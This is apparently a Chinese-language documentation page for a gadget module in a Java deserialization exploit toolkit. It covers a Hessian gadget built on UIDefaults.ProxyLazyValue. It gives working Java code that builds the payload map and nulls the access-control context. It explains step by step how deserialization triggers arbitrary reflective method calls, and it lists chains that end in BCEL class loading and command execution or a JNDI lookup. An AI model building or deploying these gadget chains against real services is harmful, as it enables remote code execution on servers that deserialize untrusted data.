- 类别:hessian 别名:— 优先级:10
- 作者:—
- 依赖:
jdk(仅需 JDK 内置类,无第三方依赖)
利用 javax.swing.UIDefaults.ProxyLazyValue 的「延迟求值」语义,在 Hessian 反序列化触发的 UIDefaults 比较/取值过程中,通过反射调用任意类的任意静态/构造方法(className.methodName(params))。它是一个「反射方法调用」入口跳板,其后由 LazyValueChain 类型的 gadget 提供真正要调用的 [className, methodName, params] 三元组。
- 入口
tags:HessianDeserialize—— 承接 Hessian 反序列化入口(UIDefaults在 Hessian 反序列化时会触发其内部键值的解析求值)。 - 衔接
nextTags:LazyValueChain—— 之后必须接一个提供Object[]{className, methodName, params}的 gadget(如LazyValueWithBcel、LazyValueWithJNDI等LazyValueWithXxx系列),由它决定实际反射调用的目标方法。 excludes:无。
public Object getObject(String className, String methodName, Object[] params) throws Exception {
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(className, methodName, params);
Reflections.setFieldValue(proxyLazyValue, "acc", null); // 清空 AccessControlContext,避免带上受限权限
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", proxyLazyValue);
u2.put("aaa", proxyLazyValue);
return PayloadHelper.makeMap(u1, u2);
}关键点逐段解释:
UIDefaults.ProxyLazyValue(className, methodName, params)封装了一个「懒加载值」:当有人调用其createValue(table)时,它会通过反射执行className类的methodName方法(静态方法或构造器),参数为params。这就是「调用任意类任意方法」的能力来源。Reflections.setFieldValue(proxyLazyValue, "acc", null)把ProxyLazyValue内保存的AccessControlContext(字段acc)置空。序列化时若带上原始的受限acc,反射调用可能受安全上下文约束;置null后按调用方权限执行,规避潜在的权限问题。- 把同一个
proxyLazyValue放入两个UIDefaults(键均为"aaa"),再用PayloadHelper.makeMap(u1, u2)组成一个「双元素 Map(借 hashCode 碰撞/键相等触发比较)」结构。反序列化 Hessian 还原该 Map 时,会对键做equals/hashCode或取值,进而触发UIDefaults.get→ProxyLazyValue.createValue,求值即调用目标方法。makeMap是本项目常用的「双对象 Map,使反序列化时触发比较从而调用 getter/求值」的封装手法(与 CommonsBeanutils 中 PriorityQueue 同族思路)。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object[] objects = (Object[])chain.doCreate(context); // 内层 gadget 产出 [className, methodName, params]
return this.getObject((String)objects[0], (String)objects[1], (Object[])objects[2]);
}invoke 先 chain.doCreate 取得下游(LazyValueChain)产出的三元组数组,拆包为 className/methodName/params 后交给 getObject。因此本 gadget 自身不决定执行什么,具体反射目标完全由下游 LazyValueWithXxx 注入——例如 BCEL 类加载、JNDI 查询、URLClassLoader 等。
本类无 @Param。反射目标(className/methodName/params)由下游 LazyValueChain gadget 提供。
- 仅依赖 JDK 内置的
javax.swing.UIDefaults.ProxyLazyValue,dependencies=jdk,无需第三方库。 ProxyLazyValue的「延迟求值」是 RCE 载体的核心;需目标 JVM 允许 Hessian 反序列化还原UIDefaults(Swing 类),并能反射加载/执行目标方法。- 与
ProxyLazyValueXString同源(同样封装ProxyLazyValue),区别在触发外壳:本类用UIDefaults+makeMap,ProxyLazyValueXString借XStringForFSB/AudioFileFormat$Type/Rdn$RdnEntry的 TreeSet 比较路径触发。
- JDK原生BCEL链(
[ProxyLazyValueUIDefaults, LazyValueWithBcel, BcelConvert, BytecodeConvert, Exec]) - JDK原生JNDI链(
[ProxyLazyValueUIDefaults, LazyValueWithJNDI])
- 下游(
nextTags=LazyValueChain):LazyValueWithBcel、LazyValueWithJNDI、LazyValueWithReflectUtils 等LazyValueWithXxx系列。 - 同族入口:ProxyLazyValueXString(另一种触发外壳,同样输出
LazyValueChain需要的三元组消费者)。